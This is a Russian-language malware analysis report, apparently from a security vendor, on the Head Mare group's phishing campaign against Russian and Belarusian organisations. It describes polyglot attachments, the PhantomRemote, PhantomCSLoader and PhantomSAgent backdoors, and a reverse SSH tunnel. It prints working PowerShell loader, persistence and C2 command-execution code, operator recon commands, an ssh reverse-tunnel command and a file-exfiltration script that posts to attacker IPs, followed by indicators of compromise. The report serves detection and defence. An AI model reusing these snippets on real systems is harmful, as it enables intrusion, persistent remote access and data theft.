Введение
В конце июня – начале июля мы обнаружили рассылку вредоносных писем, которые получили некоторые из наших клиентов. Эти письма содержали вложение с бэкдором PhantomRemote, позволяющим удаленно выполнять команды на зараженном устройстве. Для сокрытия кода во вложении использовалась техника polyglot, позволяющая объединять несколько файлов разных форматов в один без потери их работоспособности.
Обнаружив PhantomRemote, мы смогли провести ретроспективный анализ, в ходе которого выявили инциденты с использованием модифицированных версий того же бэкдора. В этих вариантах были изменены адреса C2-серверов и рабочие директории, в которые устанавливался бэкдор.
Позднее стало ясно, что использование PhantomRemote было лишь первым этапом заражения. Атакующие заранее подготовили набор дополнительных компонентов и использовали цепочку бэкдоров PhantomCSLoader и PhantomSAgent для закрепления в системе. Эти бэкдоры написаны на разных языках программирования, используют схожую модель взаимодействия с C2, но различаются по внутренним механизмам работы. Вероятно, злоумышленники рассчитывали, что даже в случае обнаружения одного из компонентов другой продолжит функционировать в системе. Инциденты с этими бэкдорами мы фиксировали до августа 2025 года включительно.
В ряде случаев, помимо бэкдоров, злоумышленники также устанавливали обратный SSH-туннель для удаленного доступа к скомпрометированной инфраструктуре.
Исследуемые нами инциденты в основном затронули российские организации, однако мы также зафиксировали атаки в нескольких организациях в Беларуси.
Первоначальный доступ: фишинг
Заражение начиналось с того, что пользователи получали фишинговое письмо с вредоносным вложением (T1566.001 Phishing: Spearphishing Attachment).
Во вложении к письму находится файл с расширением .zip. Это polyglot-файл (T1036.008 Masquerading: Masquerade File Type) со следующим содержимым: DLL-библиотека — бэкдор PhantomRemote, документ-приманка Microsoft Excel и архив в формате .zip.
Если открыть файл вложения как архив, в нем можно обнаружить специальным образом сформированный ярлык с двойным расширением .xls.lnk (T1036.007 Masquerading: Double File Extension).
Файл ярлыка содержит командную строку, которая запускает интерпретатор PowerShell (T1059.001 Command and Scripting Interpreter: PowerShell) и передает ему следующий скрипт в качестве параметра:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$r=$(Get-Location).Path + '\Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip'; if(Test-Path $r) { rundll32.exe $r,EntryPoint; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter 'Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip' | Select-Object -First 1); if($f) { $r=$f.FullName; rundll32.exe $f.FullName,EntryPoint; }; }; if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter "Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 296960 -First 59904)); cmd /c start /B $([System.IO.Path]::Combine('%temp%', 'Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls')); |
Этот скрипт пытается определить расположение polyglot-файла на диске, выполняя последовательный поиск в текущей папке, в папке профиля пользователя и в системной временной папке.
Если искомый файл найден, скрипт запускает его как DLL-библиотеку через rundll32 (T1218.011 System Binary Proxy Execution: Rundll32), вызывая функцию EntryPoint. При этом в имени файла по-прежнему будет указано расширение .zip.
Затем скрипт создает в системной временной папке файл с расширением .xls и записывает в него 59 904 (0xEA00) байта данных, прочитанных из polyglot-файла, со смещением 296 960 (0x48800). По этим адресам находятся данные файла .xls.
Далее скрипт открывает полученный файл с помощью Microsoft Excel для отвлечения внимания пользователя.
PhantomRemote
DLL, содержащаяся в polyglot-файле, — это бэкдор PhantomRemote, написанный на Visual C++. После запуска PowerShell-скриптом он подключается к командному серверу и раз в секунду запрашивает команды для выполнения на зараженном хосте. Бэкдор экспортирует две функции.
Как мы уже упоминали выше, PhantomRemote запускается с помощью rundll32 с указанием функции EntryPoint. Она выполняет бесконечный цикл с функцией паузы на 5 секунд.
Основная вредоносная функциональность находится в функции DllEntryPoint и выполняется при загрузке библиотеки в память. Эта функция использует WinAPI для работы со службой WinHTTP, при помощи которой бэкдор отправляет HTTP-запросы.
На рисунке выше представлен фрагмент декомпилированного кода PhantomRemote, в котором бэкдор сначала инициализирует WinHTTP API и устанавливает параметр User-Agent, а затем выполняет проверку, после прохождения которой отправляет GET-запрос на С2.
Значение User-Agent, которое устанавливает бэкдор, пытается мимикрировать под легитимные облачные ресурсы. В исследуемых нами образцах PhantomRemote мы обнаружили следующие значения этого параметра:
- YandexUpdate/1.0
- YandexCloud/1.0
- MicrosoftAppStore/2001.0
GET-запрос, который бэкдор отправляет на удаленный командный сервер, запрашивает страницу с именем poll. Такое имя указывает на технику опроса (polling), которая используется для получения команд. Запрос содержит следующую информацию о хосте, на котором был запущен PhantomRemote:
| Параметр запроса | Информация о хосте |
| id | Уникальный GUID, сгенерированный после запуска бэкдора |
| hostname | Имя компьютера, которое получено с помощью функции WinAPI GetComputerNameW |
| domain | DNS-имя, связанное с локальным компьютером, которое получено с помощью функции WinAPI GetComputerNameExW с параметром ComputerNameDnsDomain |
Пример GET-запроса по протоколу HTTP одного из образцов бэкдора:
|
1 2 3 4 |
GET /poll?id=<GUID>&hostname=<hostname>&domain=<userdomain> HTTP/1.1 Connection: Keep-Alive User-Agent: YandexUpdate/1.0 Host: 188.127.254[.]44 |
После выполнения GET-запроса PhantomRemote получает и обрабатывает ответ от С2. Если командный сервер вернул пустую строку, бэкдор повторит тот же запрос через 10 секунд. В ответ также может прийти строка, которая начинается с одной из двух команд:
| Команда | Описание |
| cmd:<cmdline>|<commandId> | Выполнение командной строки, которая указана после символа двоеточия |
| download:<url>|<commandId> | Скачивание файла по URL-адресу, который указан после символа двоеточия |
В конце строки ответа содержится GUID команды, которую присылает C2. Он отделяется от строки с командой символом «|».
Пример ответа сервера с выполнением командной строки:
|
1 2 3 4 5 |
HTTP/1.1 200 OK Date: Wed, 25 Jun 2025 10:22:38 GMT Content-Length: 103 Content-Type: text/plain; charset=utf-8 cmd:arp -a > C:\ProgramData\log.txt && type C:\ProgramData\log.txt|<commandId> |
Полученная подстрока с командой добавляется в специальный шаблон. В зависимости от версии бэкдора в шаблоне используется UNICODE или стандартная кодировка.
Шаблон, который использует UNICODE:
|
1 |
cmd.exe /u /c \"chcp 65001 > nul && <cmdline> |
Шаблон, который использует стандартную кодировку:
|
1 |
cmd.exe /C <cmdline> |
После выполнения команды PhantomRemote отправляет ее результат с помощью POST-запроса на C2 по пути /result, добавляя следующий заголовок:
|
1 |
Content-Type: application/x-www-form-urlencoded |
В теле POST-запроса указываются GUID, который был сгенерирован при запуске бэкдора, имя компьютера, DNS-имя, связанное с локальным компьютером, результат выполнения команды и GUID команды, который был получен от С2:
|
1 |
id=<guid>&hostname=<computer_name>&domain=<dns_domain>&result=<command_output>&commandId=<commandId> |
Если PhantomRemote получает команду на скачивание файла, он загружает файл с указанного URL в одну из следующих папок в зависимости от версии бэкдора:
- C:\ProgramData\YandexUpdate\
- C:\ProgramData\YandexCloud\
- C:\ProgramData\MicrosoftAppStore\
После загрузки файла PhantomRemote выполняет ответный POST-запрос к С2 с указанием результата операции. В запросе также указываются описанные выше данные о зараженном устройстве.
Активность оператора
Сначала после заражения системы с помощью вложения из вредоносного письма атакующие проводят разведку имени хоста и подключенных сетевых интерфейсов (T1016 System Network Configuration Discovery):
|
1 2 |
arp -a > C:\ProgramData\log.txt && type C:\ProgramData\log.txt hostname > C:\ProgramData\YandexCloud\log.txt && type C:\ProgramData\YandexCloud\log.txt |
Затем оператор дает PhantomRemote команду на скачивание архива (T1105 Ingress Tool Transfer), в котором находится обновленная версия бэкдора без архива и документа .xls:
|
1 |
http://188.127.254[.]44/uploads/remote.zip |
Содержимое этого архива распаковывается с помощью PowerShell в ту же папку, в которой находится изначальный архив:
|
1 |
powershell expand-archive -force -path C:\ProgramData\YandexUpdate\remote.zip -destinationpath C:\ProgramData\YandexUpdate\ |
Далее оператор создает запланированную задачу (T1053.005 Scheduled Task/Job: Scheduled Task), чтобы закрепить новую версию бэкдора в системе. Эта задача запускает PhantomRemote с помощью rundll32:
|
1 2 |
schtasks /create /sc DAILY /tn "WIndows Core" /tr "rundll32.exe C:\ProgramData\YandexUpdate\remote.dll,EntryPoint schtasks /run /tn "WIndows Core" |
После закрепления в системе атакующие осуществляют разведку файлов пользователей различными способами. К примеру, операторы используют утилиту командной строки wmic (T1047 Windows Management Instrumentation) для перечисления подключенных в системе дисков.
|
1 2 3 4 5 |
whoami > C:\ProgramData\log.txt && type C:\ProgramData\log.txt dir C:\users\user\desktop dir C:\users\user\ wmic logicaldisk get caption > C:\ProgramData\log.txt && type C:\ProgramData\log.txt dir C:\users\user\documents |
PhantomCSLoader
PhantomCSLoader — это бэкдор следующего этапа, который представляет собой исполняемый PE-файл, написанный на С#.
С помощью PhantomRemote атакующие загружают с C2 архив, содержащий второй бэкдор:
|
1 |
http://91.239.148[.]21/uploads/cplhost.zip |
Затем файл бэкдора распаковывается, и для его запуска операторы создают задачу по расписанию.
PhantomCSLoader использует механизм опроса С2, аналогичный PhantomRemote.
После запуска в программе создается бесконечный цикл, проверяющий наличие подключения к интернету с помощью функции InternetGetConnectedState. Если подключения нет, бэкдор ждет 10 секунд, а затем повторяет цикл проверки. При наличии соединения PhantomCSLoader отправляет POST-запрос на C2-сервер по пути register с добавлением clientId — это GUID, сгенерированный при запуске бэкдора:
|
1 2 3 4 |
POST /register/<clientId> HTTP/1.1 Host: 185.130.251[.]219 Content-Length: 0 Connection: Keep-Alive |
После этого бэкдор отправляет GET-запрос на получение команды с C2-сервера по пути get_command с добавлением clientId:
|
1 2 |
GET /get_command/<clientId> HTTP/1.1 Host: 185.130.251[.]219 |
В ответ сервер может прислать пустую строку, тогда бэкдор делает паузу на 10 секунд, после чего переходит к новой итерации цикла:
|
1 2 3 4 5 6 |
HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.12.3 Date: Fri, 11 Jul 2025 21:23:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close |
Для обработки HTTP-запросов на командном сервере используется Python.
Если сервер прислал непустую строку, бэкдор обрабатывает ее, выделяя следующие команды:
| Команда бэкдора | Команда, которую выполняет клиент | Описание |
| load <URL> <DESTINATION> | WebClient | Загрузка файла по указанному URL-адресу в директорию, указанную в DESTINATION |
| dir <PATH> | cmd /C dir <PATH> | Содержимое текущей директории |
| whoami | cmd /C whoami | Имя текущего пользователя, в контексте которого запущен бэкдор |
| <CMD> | cmd /C <CMD> | Выполнение командной строки, если она не содержит предыдущих команд |
Команды dir и whoami обрабатываются отдельно, поскольку их выходные данные закодированы. Интересно, что бэкдор использует кодирование CP-866 (866) — оно поддерживает кириллические символы.
Полученные в результате выполнения командной строки данные отправляются на C2-сервер по пути result с помощью POST-запроса.
PhantomSAgent
В ряде инцидентов при помощи PhantomRemote атакующие устанавливали в скомпрометированные системы еще один бэкдор, PhantomSAgent. Для этого они загружали вредоносный архив с C2:
|
1 |
http://188.127.254[.]44/uploads/update.zip |
Содержимое архива распаковывается с помощью командлета PowerShell expand-archive:
|
1 |
powershell expand-archive -force -path C:\ProgramData\YandexUpdate\update.zip -destinationpath C:\ProgramData\YandexUpdate\ |
В архиве находится PowerShell-скрипт — это и есть бэкдор PhantomSAgent. Он запускается следующей командой:
|
1 |
powershell -ex bypass C:\ProgramData\YandexUpdate\update.ps1 |
Сначала скрипт определяет необходимые переменные конфигурации:
|
1 2 3 4 5 6 7 8 |
# Agent configuration $ServerUrl = "http://185.130.251[.]116:80/api" $ClientIdFile = "$PSScriptRoot\update_id.txt" $LogFile = "$PSScriptRoot\update.log" # Set output encoding to UTF-8 $PSDefaultParameterValues['Out-File:Encoding'] = 'UTF8' [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 |
Как и предыдущие бэкдоры, PhantomSAgent использует сгенерированный GUID в качестве идентификатора клиента. Однако в отличие от остальных, этот бэкдор сохраняет идентификатор в файл update_id.txt и открывает его при каждом последующем запуске:
|
1 2 3 4 5 6 7 8 9 |
# Load or generate ClientId if (Test-Path $ClientIdFile) { $ClientId = (Get-Content $ClientIdFile -Raw -Encoding UTF8).Trim() Write-Log "Loaded ClientId: $ClientId" } else { $ClientId = [System.Guid]::NewGuid().ToString() $ClientId | Out-File $ClientIdFile -Encoding ASCII Write-Log "Generated new ClientId: $ClientId" } |
Чтобы закрепиться в системе, PhantomSAgent создает VBS-скрипт в своей текущей директории:
|
1 2 3 4 5 6 7 8 9 10 |
# Create VBS script for hidden execution $vbsFile = "$PSScriptRoot\run_update.vbs" $vbsContent = @" Set WShell = CreateObject("WScript.Shell") WShell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -File ""$PSScriptRoot\update.ps1""", 0, False "@ if (-not (Test-Path $vbsFile)) { $vbsContent | Out-File $vbsFile -Encoding ASCII Write-Log "Created VBS script: $vbsFile" } |
Как видно во фрагменте выше, после запуска VBS-загрузчик создает COM-объект WScript.Shell, который позволяет выполнять команды в командной строке Windows. С помощью метода Run WScript.Shell, скрипт запускает PhantomSAgent через PowerShell, используя следующие параметры:
- 0 — указывает, что окно PowerShell запустится в фоновом режиме;
- False — указывает на асинхронный запуск.
Таким образом атакующие скрывают окно интерпретатора PowerShell, оставаясь незамеченными пользователем.
На завершающем этапе закрепления PhantomSAgent создает задачу по расписанию для запуска загрузчика run_update.vbs. Имя задачи формируется по следующему шаблону: SystemAdminAgent_<ClientId>. Она запускается сразу после создания, а затем повторяется каждые 60 секунд на протяжении 9999 дней (примерно 27 лет).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
# Create scheduled task only if not exists and not running interactively if ($PSVersionTable.PSVersion.Major -ge 5 -and $env:TERM -ne "xterm-256color") { $taskName = "SystemAdminAgent_$ClientId" if (-not (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue)) { $taskAction = New-ScheduledTaskAction -Execute "wscript.exe" -Argument """$vbsFile""" $taskTrigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Seconds 60) -RepetitionDuration (New-TimeSpan -Days 9999) $taskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable try { Register-ScheduledTask -TaskName $taskName -Action $taskAction -Trigger $taskTrigger -Settings $taskSettings -Description "System Admin Agent" -Force -ErrorAction Stop Write-Log "Scheduled task created: $taskName" Write-Host "Scheduled task created: $taskName" } catch { Write-Log "Failed to create scheduled task: $($_.Exception.Message)" Write-Host "Failed to create scheduled task: $($_.Exception.Message)" } } else { Write-Log "Scheduled task already exists: $taskName" } } |
Далее бэкдор делает запрос на C2-сервер по пути /clients/<ClientId>/commands:
|
1 |
$commands = Invoke-RestMethod -Uri "$ServerUrl/clients/$ClientId/commands" -Method Get -ErrorAction Stop |
В ответ командный сервер отправляет JSON-файл со списком строк:
|
1 2 3 4 |
foreach ($command in $commands) { if ($command -like "Pending:*") { $cmd = $command -replace "^Pending:\s*", "" # Remove "Pending:" and leading spaces $cmd = $cmd.Trim() # Remove any remaining leading/trailing spaces |
Если строка начинается на «Pending:», то следующая за ней подстрока выполняется с помощью интерпретатора PowerShell:
|
1 2 3 4 5 6 7 |
try { # Execute command and capture output with proper encoding $output = & powershell.exe -NoProfile -Command $cmd 2>&1 | Out-String $result = [System.Text.Encoding]::UTF8.GetString([System.Text.Encoding]::GetEncoding(866).GetBytes($output)) $result = $result -replace "`r`n", "`n" -replace "`n+", "`n" $status = "Success" } |
Результат выполнения команды конвертируется в JSON и отправляется с помощью HTTP POST-запроса на C2 по пути /clients/<ClientId>/commands:
|
1 2 3 4 5 6 7 8 9 10 11 |
# Send result back $resultData = @{ command = $cmd result = $result status = $status } Write-Log "Sending result: $status" Write-Log "Result content: $result" Write-Host "Sending result: $status" Write-Host "Result content: $result" $resultResponse = Invoke-RestMethod -Uri "$ServerUrl/clients/$ClientId/commands" -Method Post -Body ($resultData | ConvertTo-Json -Depth 10) -ContentType "application/json; charset=utf-8" -ErrorAction Stop |
После этого PhantomSAgent завершает свою работу.
Кроме основной функциональности в скрипте предусмотрено логирование каждого этапа выполнения. Лог-файл формируется в той же папке, в которой расположен сам скрипт.
Большинство исследованных нами образцов PhantomSAgent не было обфусцировано, однако нам удалось найти несколько скриптов с обфускацией:
|
1 2 3 4 5 6 |
New-Item -ItemType Directory -Path "C:\ProgramData\Yandex Packages" -Force; ${__X_9z}="http://185.255.133.195:80/api"; ${__Y_7q}="C:\ProgramData\Yandex Packages\z.dat"; ${__Z_2w}="C:\ProgramData\Yandex Packages\l.txt"; $PSDefaultParameterValues['Out-File:Encoding']='utf8'; [Console]::OutputEncoding=[System.Text.Encoding]::UTF8; |
На одном из С2 PhantomSAgent мы обнаружили панель администратора.
Значок страницы (фавикон), на которой расположена панель администрирования, представляет собой стилизованную букву Р белого цвета на красном фоне.
Фавикон страницы администрирования С2 PhantomSAgent
Обратный SSH-туннель
Помимо бэкдоров, для закрепления в скомпрометированной системе атакующие устанавливают обратный SSH-туннель (T1572 Protocol Tunneling).
Для этого оператор скачивает архив с C2 при помощи бэкдора PhantomRemote или PhantomSAgent:
|
1 |
http://91.239.148[.]21/uploads/dnsclient.zip |
В архиве находится BAT-файл, в котором содержится команда с параметрами подключения к удаленному серверу. Для запуска этого файла атакующие создают задачу по расписанию:
|
1 |
schtasks /create /sc DAILY /tn "Microsoft Update" /tr C:\ProgramData\YandexCloud\dnsclient.bat /st 10:00 /f |
Эта задача под названием Microsoft Update ежедневно в 10:00 запускает скрипт dnsclient.bat, расположенный в C:\ProgramData\YandexCloud. Он содержит следующие команды:
|
1 2 |
@echo off start /b "" "C:\Windows\System32\OpenSSH\ssh.exe" -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 38436 -p 443 cfyvg84df17842o@185.130.251[.]227 |
Здесь используется SSH-клиент Windows, который устанавливает соединение с удаленным сервером 185.130.251[.]227 и поддерживает его за счет периодической отправки пакетов keep-alive.
Для каждой скомпрометированной системы, в которой был установлен туннель, используется уникальное имя пользователя.
PhantomPSUpload
Кроме активного применения методов закрепления в системе, в ряде инцидентов мы обнаружили использование PowerShell-скрипта для эксфильтрации файлов с хоста жертвы в облачную инфраструктуру злоумышленников.
Этот вредоносный скрипт импортируется как модуль и принимает параметры, переданные ему через командную строку:
|
1 2 3 4 5 6 7 |
param ( [string]$File, [string]$Path, [switch]$r, [string[]]$e, [string]$ServerUrl = "http://185.130.249[.]224:80/upload" ) |
Ниже приведен список этих параметров:
| Параметр | Описание |
| File | Путь к целевому файлу |
| Path | Директория, в которой находится целевой файл |
| r | Флаг рекурсивного поиска файлов во вложенных каталогах директории, указанной в параметре Path |
| e | Список расширений целевых файлов для поиска в директории Path |
| ServerUrl | URL-адрес, на который будут отправляться файлы |
Скрипт загружает соответствующие заданным параметрам файлы на удаленный HTTP-сервер при помощи POST-запросов.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
Add-Type -AssemblyName "System.Net.Http" if (-not (Test-Path $FilePath)) { return } $client = [System.Net.Http.HttpClient]::new() $multipartContent = [System.Net.Http.MultipartFormDataContent]::new() $fileStream = [System.IO.File]::OpenRead($FilePath) $fileName = [System.IO.Path]::GetFileName($FilePath) $fileContent = [System.Net.Http.StreamContent]::new($fileStream) $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream") $multipartContent.Add($fileContent, "file", $fileName) $destinationContent = [System.Net.Http.StringContent]::new($DestinationPath) $multipartContent.Add($destinationContent, "destinationPath") $response = $client.PostAsync($ServerUrl, $multipartContent).Result $fileStream.Close() $client.Dispose() |
Для отправки скрипт использует класс System.Net.Http.HttpClient из стандартной библиотеки .NET, который позволяет отправлять запросы и получать ответы от ресурса, определяемого URI.
В заголовок запроса добавляется MIME-тип application/octet-stream — его наличие означает передачу бинарных данных; в тело запроса добавляется содержимое целевого файла. Полученный асинхронный POST-запрос отправляется по URL-адресу, указанному в параметре ServerUrl.
Атрибуция
Мы с высокой долей вероятности относим описанную кампанию к активности группировки Head Mare.
Ранее мы описывали серию атак Head Mare с фишинговой рассылкой бэкдора PhantomPyramid. У этого зловреда есть определенные сходства с PhantomRemote и другими бэкдорами, описанными в нашей статье:
- PhantomPyramid, как и PhantomRemote, распространялся во вложениях фишинговых писем со следующими особенностями:
- для склейки трех файлов в один используется техника polyglot;
- вредоносные LNK-файлы имеют двойное расширение;
- LNK-файлы содержат похожие PowerShell-скрипты для извлечения файлов в форматах .pdf и .xls из вредоносного вложения.
- PhantomPyramid использует технику опроса для получения команд с C2.
- Результат выполнения команд в PhantomPyramid и PhantomRemote отправляется по одному и тому же пути: /result.
- Для отправки файлов на C2-сервер PhantomPyramid использует команду load <URL> <DESTINATION>, как и PhantomCSLoader.
- Номер автономной системы (ASN) для C2-серверов PhantomPyramid и PhantomRemote совпадает: 56694.
Это дает нам основания полагать, что все обнаруженные бэкдоры связаны с деятельностью группы Head Mare. Однако на деле ситуация оказывается сложнее. Недавно мы обнаружили новую серию атак с применением троянца PhantomPyramid, которая началась в августе 2025 года и частично пересекается по времени с кампанией, описанной в этой статье.
Совместного использования PhantomPyramid с другими тремя «фантомами» мы пока не наблюдали. Анализ пострадавших организаций также не дал ответа, почему в одних случаях применяется только один бэкдор, а в других — комбинация из нескольких.
Несмотря на то что мы приписываем эти активности Head Mare, имеющиеся данные позволяют сделать предположение о неоднородности группы. Вероятно, она состоит из нескольких подгрупп, действующих относительно автономно.
Выводы
Исследованные нами инциденты показывают, что группа Head Mare продолжает постоянно совершенствовать набор своих инструментов для получения первоначального доступа и закрепления в системе. Возможно, это происходит в рамках одной или нескольких подгрупп, которые действуют с общей целью и используют похожие инструменты, но имеют несколько отличный друг от друга почерк. По сравнению с фишинговой кампанией PhantomPyramid в атаках, описанных в этой статье, использовалась цепочка из нескольких бэкдоров. Кроме загрузки и установки новой версии PhantomRemote, в некоторых инцидентах атакующие устанавливали дополнительные бэкдоры PhantomCSLoader и PhantomSAgent. Они написаны с использованием разных технологий: PowerShell, С++, С#. Помимо этого, в скомпрометированных системах устанавливались SSH-туннели — вероятно, атакующие пытались обойти средства защиты, рассчитывая, что в случае обнаружения одного бэкдора в системе останутся остальные. Мы продолжаем отслеживать активность группы Head Mare и собирать актуальные данные о ее инструментах.
В связи с этим мы рекомендуем проводить тщательную проверку зараженных систем на предмет подозрительной сетевой активности, в том числе проверять все исходящие HTTP- и SSH-соединения. Также рекомендуется использовать надежные защитные решения на всех хостах в инфраструктуре. В частности, Kaspersky EDR Expert и Kaspersky Endpoint Security способны детектировать и блокировать активность, описанную в этой статье. Кроме этого, поскольку первоначальное заражение происходило через фишинговое вложение, рекомендуется регулярно проводить тренинги по безопасности при работе с почтой для пользователей.
Индикаторы компрометации
Хэши файлов
75A26A138783032EE18DCFC713B1B34C PhantomRemote
7E52BE17FD33A281C70FEC14805113A8 PhantomRemote
B49A7EF89CFB317A540996C3425FCDC2 PhantomRemote
20D4805EB8547E9B28672A31ADBC3600 PhantomRemote
996084DC1175BEFD223D495A10C0E9E9 PhantomSAgent
BE996EE4E130B3644411A551D44444E2 PhantomSAgent
8413C5156AF3741CF9BDA4C1A398298B PhantomSAgent
D71BB4387DA469AA01D4208034F0EC3A PhantomCSLoader
FFBA356576D0ABA555C32AB6C081877C PhantomCSLoader
8049B1A778F62052508A9E3FB84CEB49 dnsclient.bat
E6E59361FC93769F68CFEB7011250AB6 dnsclient.bat
FC6D2FC336DE9F974A0BF27E506D79D3 dnsclient.bat
B60C86AE1CD9F69B81D6C2C64202B4B6 dnsclient.bat
82067EFCBAF6CE388F6211EC5D772F80 PhantomPSUpload
C2
91.239.148[.]21 C2 PhantomRemote
188.127.254[.]44 C2 PhantomRemote
185.225.17[.]104 C2 PhantomRemote
185.255.133[.]195 C2 PhantomSAgent
185.130.251[.]116 C2 PhantomSAgent
185.130.251[.]219 C2 PhantomCSLoader
185.130.251[.]227 SSH tunnel
185.130.249[.]224 C2 PhantomPSUpload
PhantomRemote User-Agent
YandexCloud/1.0 User-Agent of PhantomRemote
YandexUpdate/1.0 User-Agent of PhantomRemote
MicrosoftAppStore/2001.0 User-Agent of PhantomRemote
Вредоносные почтовые вложения
Договор_РН83_37_изменения.zip
Договор_РН83_изменения.zip
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip
Вредоносные URL-адреса
http[:]//185.130.251[.]116:80/api
http[:]//185.255.133[.]195:80/api
http[:]//91.239.148[.]21/uploads/dnsclient.zip
http[:]//188.127.254[.]44/uploads/update.zip
http[:]//188.127.254[.]44/uploads/remote.zip
http[:]//91.239.148[.]21/uploads/cplhost.zip
Пути
C:\ProgramData\YandexUpdate\ PhantomRemote
C:\ProgramData\YandexCloud\ PhantomRemote
C:\ProgramData\MicrosoftAppStore\ PhantomRemote
C:\ProgramData\Yandex Packages\ PhantomSAgent
PDB
D:\GIT\remote\cmake-build-debug\remote.pdb PhantomRemote

















Head Mare в дикой природе: цепочка бэкдоров и SSH-туннель для проникновения в инфраструктуру